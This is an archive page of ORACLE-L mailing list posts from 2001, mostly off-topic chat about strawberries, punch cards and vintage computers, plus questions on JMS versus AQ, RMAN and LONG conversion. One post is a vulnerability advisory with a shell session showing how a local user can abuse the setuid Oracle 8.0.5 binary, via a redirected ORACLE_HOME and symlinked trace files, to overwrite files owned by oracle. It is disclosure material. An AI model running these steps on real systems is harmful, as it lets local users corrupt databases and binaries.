I started playing on Commodore-64's in high school in 1982.
I've still got some of those Verbatim 5.25 disks in the closet at home.

 
 What is the language that uses a turtle for teaching children about
 computers? What language was it based on?
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Anderson, Brian
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT about to peeve off the vegatarians: RE: OT RE: Largest

2001-08-02 Thread Robertson Lee - lerobe

Whoops - sorry list, that was meant for John.


-Original Message-
[mailto:[EMAIL PROTECTED]]
Sent: 02 August 2001 11:50
To: Multiple recipients of list ORACLE-L


The Geordies get everywhere

Aa The Blaydon races..

-Original Message-
Sent: 02 August 2001 08:00
To: Multiple recipients of list ORACLE-L


I guess thats one of the things we have going for us in little old England.
Where I live in the North East of England (Northumberland to be precise)
there are a whole host of farms where you can go and pick your own within
between 5 and 20 minutes drive from my house.

Aaaah!

Lee


-Original Message-
Sent: 02 August 2001 01:55
To: Multiple recipients of list ORACLE-L


Cherie,


You guys are making me soo jealous. (and so hungry for fresh 
strawberries!)

Rachel

From: [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Date: Wed, 01 Aug 2001 13:38:35 -0800


Rachel,

When I worked at Rockwell in Anaheim (Southern California - sort of a
suburb of Los Angeles),
I used to drive right past a strawberry field every night on my way home
from work.  Most of the berries
would be picked and shipped to market or wherever but there was always a
small stand at the
edge of the field where you could stop and buy direct from the grower.

It was strange to find a strawberry field in the middle of the city.   That
was fifteen years ago.
I'm not sure if it's still there - what with the high price of real estate
in that area.

Anyway, the taste was just as April described it.  Warm and damp and
flavorful.  The smell alone
would make me stop.

Every summer I long for those strawberries and I've yet to find anything
close here in the Midwest.

Cherie Machler
nostalgic for a few things about Southern California - like the produce
markets




 Rachel
 Carmichael  To: Multiple recipients of 
list ORACLE-L [EMAIL PROTECTED]
 carmichr@hotcc:
 mail.comSubject: RE: OT about to 
peeve off the vegatarians: RE: OT RE:
 Sent by: Largest
 root@fatcity.
 com


 08/01/01
 03:15 PM
 Please
 respond to
 ORACLE-L






April,

Okay, now tell me WHERE I can get those?  The ones from the greenmarket are

already insanely wonderful, I'm not sure I could stand anything more
intense
:)

Rachel


 From: April Wells [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
 Date: Wed, 01 Aug 2001 10:37:19 -0800
 
 Rachel,
 
 You need to try strawberries, warm from the sun, wet from the irrigation
 system, with the light dusty dirt still crunching on them.
 
 April
 
 -Original Message-
 Sent: Wednesday, August 01, 2001 12:17 AM
 To: Multiple recipients of list ORACLE-L
 
 
 Ian,
 
 You have my sympathies for your struggles. And my respect for how you 
seem
 to be dealing with them. My husband was a hemophiliac. Just living with
 that
 
 as an adult was hard. To live with a genetic disorder in a child must be
 infinitely harder. I have an enormous respect for my mother-in-law who
 raised such a child and did not wrap him in cotton-wool, in case he got
 hurt.
 
 You are in CA, where you can get a much better assortment of
 non-store-bought produce than I can here in NYC, although I tend to
 frequent
 
 the greenmarkets and try to buy what is in season when I buy in stores.
 Even
 
 then, store-bought doesn't taste as good as fresh-picked. I have 
converted
 one person at work to never eating store-bought strawberries again, he
 tried
 
 some from the greenmarket when they were in season and was convinced.
 
 Rachel
 
 
  From: MacGregor, Ian A. [EMAIL PROTECTED]
  Reply-To: [EMAIL PROTECTED]
  To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
  Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
  Date: Tue, 31 Jul 2001 15:15:35 -0800
  
  So where do I get my woolly mammoth steaks.  What was the life
expectancy
  of early hominids?  I don't know about Maine Blue Berries, but wild
  blueberries in Nova Scotia are just as sweet if not sweeter than the
 store
  bought ones.
  
  Where in a reputable peer-reviewed journal can one find an article 
store
  bought food is less nutritious than wild food.  The purpose of fruit is
 to
  be eaten, the seeds passing through the digestive  system intact to be
  planted with a little fertilizer.  The sweeter the fruit, the more
 animals
  are attracted, the greater chance of the plant dispersing its progeny.
  
  As far as I can tell taste takes a second seat to looks with commercial
  produce.  Produce is 

vulnerability in oracle binary in Oracle 8.0.5 - 8.1.6

2001-08-02 Thread Juan Manuel Pascual Escriba




  WWW.PLAZASITE.COM

  System  Security Division





   Title: Vulnerability in oracle binary in Oracle 8.0.5

Date: 11-12-2000

Platform: Only tested in Linux, but can be exported to others.

  Impact: Any user compromise any file owned by oracle (DDBB owner).

  Author: Juan Manuel Pascual ([EMAIL PROTECTED])

  Status: Vendor Contacted at 18th July 2001


PROBLEM SUMMARY:
There is a write permision checking error in oracle binary  that can
be used by local users to write any file owned by oracle.

IMPACT:
Any user with local access, can corrupt the database. Overwrite
oracle binaries, etc.

SOLUTION:
Chmod -s ;-.

STATUS:
Vendor was contacted .


This vulnerability was researched by:
Juan Manuel Pascual Escriba[EMAIL PROTECTED]

Only for educational purposes. (corrupt a ddbb isnt an educational purpose!)

[pask@proves1 /tmp]$
[pask@proves1 /tmp]$ mkdir rdbms
[pask@proves1 /tmp]$ cd rdbms/
[pask@proves1 rdbms]$ mkdir log
[pask@proves1 rdbms]$ cd log
[pask@proves1 log]$ 
[pask@proves1 log]$ ls -alc
total 8
drwxrwxr-x2 pask pask 4096 dic 14 02:33 .
drwxrwxr-x3 pask pask 4096 dic 14 02:33 ..
[pask@proves1 log]$ export ORACLE_HOME=/tmp
[pask@proves1 log]$ export REAL_ORACLE_HOME=/usr/local/oracle/app/oracle/product/8.0.5
[pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
[pask@proves1 log]$ ls -alc
total 12
drwxrwxr-x2 pask pask 4096 dic 14 02:35 .
drwxrwxr-x3 pask pask 4096 dic 14 02:33 ..
-rw-r-1 oracle   pask   47 dic 14 02:35 ora_24028.trc

Ups a log owned by oracle with the structure ora_pid.trc 
I can create:
[pask@proves1 log]$ ln -s $REAL_ORACLE_HOME/bin/lsnrctl ./ora_24050.trc
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle
.
..
...
until the log will be my link .. and i overwrite the binary. what about dbf files and 
go on 






RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Farnsworth, Dave

1981, I was a junior in college.  Oh what I would give to have a couple of
weeks like I had then.  I think I skipped as many classes as I went to.  I
had my first computer class the year before, there was nothing like punch
card technology.  Just for fun we would get into someones stack and
rearrange the cards.

Dave

-Original Message-
Sent: Wednesday, August 01, 2001 4:39 PM
To: Multiple recipients of list ORACLE-L
staff


I guess I can no longer call myself an IT Professional as I cannot answer 
most of those questions.

and in 1981 I was divorcing my first husband

From: Boivin, Patrice J [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Wed, 01 Aug 2001 12:23:09 -0800

Perhaps, to be an IT Professional, one should have a bit of background in
the field.

e.g. one should know what Heathkit was (not that A+ stuff) , and the
Sinclair, not to mention a few other things:

What famous character was used to first advertise the IBM PC?
Was it possible to connect two screens to the original IBM PC? How?
How many boot disks did computers require before 1982?
How would you convert a 1-sided 5 ¼ diskette into a 2-sided one?
How did the Commodore Pet make use of hard disk drives?  Floppy drives?

What colour were the Verbatim 5 ¼ diskette pockets?

What IBM PS/2 model was listed as having a 2.88M diskette drive?
What version of Windows did OS/2 not support?  Why not?

Did the first macintosh computer come with a handle?

What is an MWave Windsurfer card?

Which company could be argued started the certification fad in IT?

Bonus points:  What figurines appear on PC Magazine Vol 1., Issue 1's 
cover?
(I notice PC Magazine has gone back to the thickness it had for issue 1, 
vol
1... heh heh I wonder what happened).

Extremely important entertainment bonus question:  What cartridges came 
with
the Atari 2600 game system upon initial purchase?

But I am dating myself.  Most of these have to do with PCs, forgive me I 
was
in grade 11 in 1981.

Here another training school closed last year, GP - used to be SHL Learning
Technologies, but they slowly died.  The instructors were good, but
management... well GP no longer exists.  Hopefully the good training
companies will survive.

Regards,
Patrice Boivin
Systems Analyst (Oracle Certified DBA)

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Boivin, Patrice J
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Farnsworth, Dave
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: JMS vrs AQ

2001-08-02 Thread Henrik Ekenberg [EMAIL PROTECTED]

Hello Christopher,

How many queues do you have on how many disks ?
We have 10 queues on 10 disks E4500 also.

Regards
Henrik


---
Experience is a hard teacher because she gives the test first,
the lesson afterward.

-- Vernon Law

Henrik Ekenberg Anoto AB
Direct+46 (0)8 410 78 577   Vasagatan 7
Mobile+46 (0)733  478 577   111 20 Stockholm, Sweden
www.anoto.com   Switchb. +46 (0)8 410 78 500
E-mail :[EMAIL PROTECTED]   Fax  +46 (0)8 410 78 501


On Tue, 31 Jul 2001, Christopher Spence wrote:

-!-Using JMS on E450 on Solaris we are lucky to do 4/s without having problems.
-!-
-!-300/s would be great.
-!-
-!-
-!-Walking on water and developing software from a specification are easy if
-!-both are frozen.
-!-
-!-Christopher R. Spence
-!-Oracle DBA
-!-Fuelspot
-!-
-!-
-!-
-!--Original Message-
-!-[mailto:[EMAIL PROTECTED]]
-!-Sent: Tuesday, July 31, 2001 4:00 AM
-!-To: Multiple recipients of list ORACLE-L
-!-
-!-
-!-Hello,
-!-
-!-Which performance do you need ?
-!-We have really bad performance with AQ (300 req/s) or JMS from Oracle. We
-!-will use a JMS driver from an other company.
-!-
-!-Regards
-!-Henrik
-!-
-!
-!-Experience is a hard teacher because she gives the test first, the lesson
-!-afterward.
-!-
-!--- Vernon Law
-!-
-!-Henrik Ekenberg Anoto AB
-!-Direct+46 (0)8 410 78 577   Vasagatan 7
-!-Mobile+46 (0)733  478 577   111 20 Stockholm, Sweden
-!-www.anoto.com   Switchb. +46 (0)8 410 78 500
-!-E-mail :[EMAIL PROTECTED]   Fax  +46 (0)8 410 78 501
-!-
-!-
-!-On Mon, 30 Jul 2001, Christopher Spence wrote:
-!-
-!--!-I was wondering if anyone has compared performance of JMS and AQ, used
-!--!-both, or know of some good documents.
-!--!-
-!--!-We currently use JMS, which I have never been a fan off, I am not much
-!--!-of an AQ person.
-!--!-
-!--!-Any feedback would be great, I think I am going to setup some benchmarks
-!--!-with AQ and JMS. -!-We use very small amount of JMS right in database,
-!-and most of our JMS -!-is via separate JMS file systems.
-!--!-
-!--!-
-!--!-Walking on water and developing software from a specification are easy
-!--!-if both are frozen.
-!--!-
-!--!-Christopher R. Spence  OCP  MCSE MCP A+ RAPTOR CNA
-!--!-Oracle DBA
-!--!-Phone: (978) 322-5744
-!--!-Fax:(707) 885-2275
-!--!-
-!--!-Fuelspot
-!--!-73 Princeton Street
-!--!-North, Chelmsford 01863
-!--!-
-!--!-
-!--!-
-!--!-
-!-
-!---
-!-Please see the official ORACLE-L FAQ: http://www.orafaq.com
-!---
-!-Author: Henrik Ekenber
-!-  INET: [EMAIL PROTECTED] [EMAIL PROTECTED]
-!-
-!-Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
-!-San Diego, California-- Public Internet access / Mailing Lists
-!-
-!-To REMOVE yourself from this mailing list, send an E-Mail message
-!-to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the
-!-message BODY, include a line containing: UNSUB ORACLE-L (or the name of
-!-mailing list you want to be removed from).  You may also send the HELP
-!-command for other information (like subscribing).
-!---
-!-Please see the official ORACLE-L FAQ: http://www.orafaq.com
-!---
-!-Author: Christopher Spence
-!-  INET: [EMAIL PROTECTED]
-!-
-!-Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
-!-San Diego, California-- Public Internet access / Mailing Lists
-!-
-!-To REMOVE yourself from this mailing list, send an E-Mail message
-!-to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
-!-the message BODY, include a line containing: UNSUB ORACLE-L
-!-(or the name of mailing list you want to be removed from).  You may
-!-also send the HELP command for other information (like subscribing).
-!-

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Henrik Ekenber
  INET: [EMAIL PROTECTED] [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT RE: Dangerous AIX Bug - Gene's afraid of RMAN

2001-08-02 Thread Gene Sais

Lisa - I don't think there is enough beer for me to trust RMAN to do incremental 
backups :-).  I just need sleep, puppies are a lot of work, but worth it!

 Koivu, Lisa [EMAIL PROTECTED] 07/30/01 08:19AM 
Gene, just do it.  Incremental backups in rman are going to help you backup
a 1tb database.  Promise.  Just try it, you'll like it.  If not I'll owe you
a bunch of beer.  

Lisa

 -Original Message-
 From: Gene Sais [SMTP:[EMAIL PROTECTED]] 
 Sent: Friday, July 27, 2001 11:11 AM
 To:   Multiple recipients of list ORACLE-L
 Subject:  OT RE: Dangerous AIX Bug!
 
 Yeah, I had to drop off the informix list for the AIX list.  Good choice I
 think.  Actually this post might be a good one for the AIX'ers.  Seems
 like a lot of ppl are switching to AIX, h, maybe buy some IBM stock
 :).  I just wish I had an EMC sym rather than this shark stuck in Raid-5.
 I need BCV's to back up a 1TB db.  Not sure if the shark flashcopy will do
 the trick.  Anyone on this list use flashcopy?
 
 Gene
 
  [EMAIL PROTECTED] 07/26/01 06:51PM 
 Gene, you're a busy man. Just saw you
 on the AIX list. I'll lurk there
 for a while before creating havoc.
 
 ;-)
 
 thanks
 
 -Original Message-
 Sent: Thursday, July 26, 2001 6:39 PM
 To: Multiple recipients of list ORACLE-L
 
 
 Nice link. Thanks!
 
  [EMAIL PROTECTED] 07/26/01 05:51PM 
 Ross,
 
   Check this link. You may find it useful.
 
 http://home.earthlink.net/~bhami/rosetta.html 
 
 Regards,
 Denny
 
 Mohan, Ross wrote:
  
  :)
  
  My biggest concern is porting db's
  from other unix flavors...i wish there
  were a cross platfrom shell porting
  guide.
  
  Sure, ls is ls, but every mfgr
  changes the order/formatting of
  the flags and/or output.
  
  I am compiling responses and will post
  a summary. I have some good stuff so
  far
  
  hth
  
  Ross
  
  p.s. I wish i could get some (mostly)
  grass fed beef! ;-)
 
 _
 Do You Yahoo!?
 Get your free @yahoo.com address at http://mail.yahoo.com 
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com 
 -- 
 Author: Denny Koovakattu
   INET: [EMAIL PROTECTED] 
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com 
 -- 
 Author: Gene Sais
   INET: [EMAIL PROTECTED] 
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com 
 -- 
 Author: Mohan, Ross
   INET: [EMAIL PROTECTED] 
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com 
 -- 
 Author: Gene Sais
   INET: [EMAIL PROTECTED] 
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Gene Sais
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Thater, William

On Thu, 2 Aug 2001,Rachel Carmichael scribbled on the wall in glitter crayon:

-we called that 52 card pickup -- take deck, throw in air, run like the devil
-was after us.
-
-I learned EARLY to draw intricate designs on the top of the deck so as to
-make putting it back together simpler.
-
-When projects were due, I'd cut every class but the computer ones, and stay
-in the computer center until midnight,when they closed. Oh the good old
-days!

i was one of those geeks who could put object decks back in order by hand.;-)
i still have several boxes of card decks.  the kids like them for bookmarks.


--
Bill Thater ORACLE DBA
Telergy,Inc.   [EMAIL PROTECTED]

It's got to come from the heart if you want it to work!

If the automobile had followed the same development cycle as the computer, a 
Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a 
year, killing everyone inside. - Robert X. Cringely

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Thater, William
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: off topic--oracle Vs ms sql

2001-08-02 Thread Dwayne Cox

Good observation.  I honestly don't know.  I have used the site from time
to time in the past to get a general idea of the differences but would
always go to a db's site to get more definitive answers.

On Wed, 01 Aug 2001 08:00:56 -0800
Page, Bruce [EMAIL PROTECTED] wrote:

 Interesting site...
 
 Since I am not familiar with some of the other databases, are all the ones
listed there 3 versions old or just Oracle?  I noticed DB2 was 2 versions old.


__
Dwayne Cox
DBA, Development Dept.
Info Tech, Inc.
[EMAIL PROTECTED]
http://www.infotechfl.com
___
The opinions expressed are the author's own unless otherwise stated
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Dwayne Cox
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Kevin Kostyszyn

How many licks does it take to get to the center of a Tootsie Pop!

-Original Message-
Brian
Sent: Thursday, August 02, 2001 10:15 AM
To: Multiple recipients of list ORACLE-L


I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.

For those not in the US, it's from an old TV commercial.

I started playing on Commodore-64's in high school in 1982.
I've still got some of those Verbatim 5.25 disks in the closet at home.

 
 What is the language that uses a turtle for teaching children about
 computers? What language was it based on?
 
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Anderson, Brian
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Seeking SQL*Reportwriter 1.0 antiques

2001-08-02 Thread Larry Elkins

Chris,

I had the old 5.1c DOS disks until a couple of years ago -- saw no more use
for them. And as recently as 3 or 4 years ago, I had to modify an rpt/rpf
report on an old app running against V6. In addition to using rpt/rpf, the
original developer used Forms 3.0 but continued to use V2 style triggers.
But, the app continued to work well for long after he left and the users
were satisfied, so, no complaining here.

Regards,

Larry G. Elkins
[EMAIL PROTECTED]
 -Original Message-
 From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of paquette
 stephane
 Sent: Thursday, August 02, 2001 10:11 AM
 To: Multiple recipients of list ORACLE-L
 Subject: Re: Seeking SQL*Reportwriter 1.0 antiques


 Sorry I just have rpt/rpf (joking !)

  --- [EMAIL PROTECTED] a écrit :  A client of mine
 is moving off some ancient hardware
  (with ancient
  software) and needs for the short term to run
  SQL*Reportwriter 1.0
  for DOS, then convert those files to version 1.1 of
  the same. If
  anybody is an antique collector and still has either
  the install disks
  or runtime of these programs I would be very
  grateful if you could
  give me a copy. They are licensed, so copying is not
  a problem.
 
  Regards,
  Chris Gait

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Larry Elkins
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread A. Bardeen

Ain't that the truth.  I was in charge of maintaining
them (I use the term very loosely) when I was in
college and those drives were the flakiest things. 
Used to drive me nuts.  The joys of running word star
on CP/M... and thinking I was in heaven when I moved
to wordperfect.  Still think wordperfect was the best
DOS wordprocessor on the market.

--- Page, Bruce [EMAIL PROTECTED] wrote:
  And the DEC rainbow shipped with both DOS and
 CP/M.
 
 Nasty little thing.
 I built a billing system for a telephone company on
 them using Dbase II.
 We had to keep 10 sets of backs. We each had our own
 and then on was left with the system.  We kept 10
 because we would sometimes go through a lot of them
 before we could get a good restore.  We swore they
 had a built in fry disk at random command.
 -- 
 Please see the official ORACLE-L FAQ:
 http://www.orafaq.com
 -- 
 Author: Page, Bruce
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX:
 (858) 538-5051
 San Diego, California-- Public Internet
 access / Mailing Lists


 To REMOVE yourself from this mailing list, send an
 E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of
 'ListGuru') and in
 the message BODY, include a line containing: UNSUB
 ORACLE-L
 (or the name of mailing list you want to be removed
 from).  You may
 also send the HELP command for other information
 (like subscribing).


__
Do You Yahoo!?
Make international calls for as low as $.04/minute with Yahoo! Messenger
http://phonecard.yahoo.com/
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: A. Bardeen
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: Exploding the Myths paper

2001-08-02 Thread Babette Turner-Underwood


Hey Rachel,
long time, no chat

Hope things worked out well for you and whoever at IOUG 
(the gossip in me always want to know more ;-)

Would have sat next to you in Anita's presentation but you sat
in the FRONT row, and I was late :-( I also had to find Peter Smith
as I had a problem with my air reservation and it looked like he
might need to drive me and miss the closing session (I was able to
get a shuttle).

This paper sounded really intriuging and I wanted to check it out.
I looked under www.nyoug.org but could not find it under
Presentations From Various Allstars.

Great user site by the way! (I think you are involved on the
executive right?) I take it your meetings are quarterly ?
Would love to present some time but cannot afford the travel
to New York :-( . that I am Waaay too busy with my job
doing remote DBA work ... I barely have time to even read
the list serves, let along respond to any of them 

I am only 10 months behind ...

Take care
Babette
[EMAIL PROTECTED] (best one to use)
or [EMAIL PROTECTED]
- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Sunday, July 01, 2001 8:15 PM


 Okay, I've been told that the paper and slides for my presentation
Exploding
 the Myths is now up on the NYOUG site

 www.nyoug.org

 Rachel
 _
 Get your FREE download of MSN Explorer at http://explorer.msn.com

 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Rachel Carmichael
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).



-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Babette Turner-Underwood
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Test message

2001-08-02 Thread Arich Henneman

Ignore this message.
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Arich Henneman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Convert LONG to VARCHAR2

2001-08-02 Thread Cale, Rick T (Richard)

Hi All,

I know it has been discussed before but can anyone tell me how to convert a
LONG datatype to VARCHAR2?

Thanks
Rick
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Cale, Rick T (Richard)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Logical bit operators

2001-08-02 Thread Jan Pruner

Hi gurus,
 I'm so sorry for placing so stupid question in this forum,
but how is the syntax to use logical bit operator (like  or | in C lang.) in
SQL or PL/SQL?
Or there is another philosophy how to do it?

Thanks

Jan Pruner
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
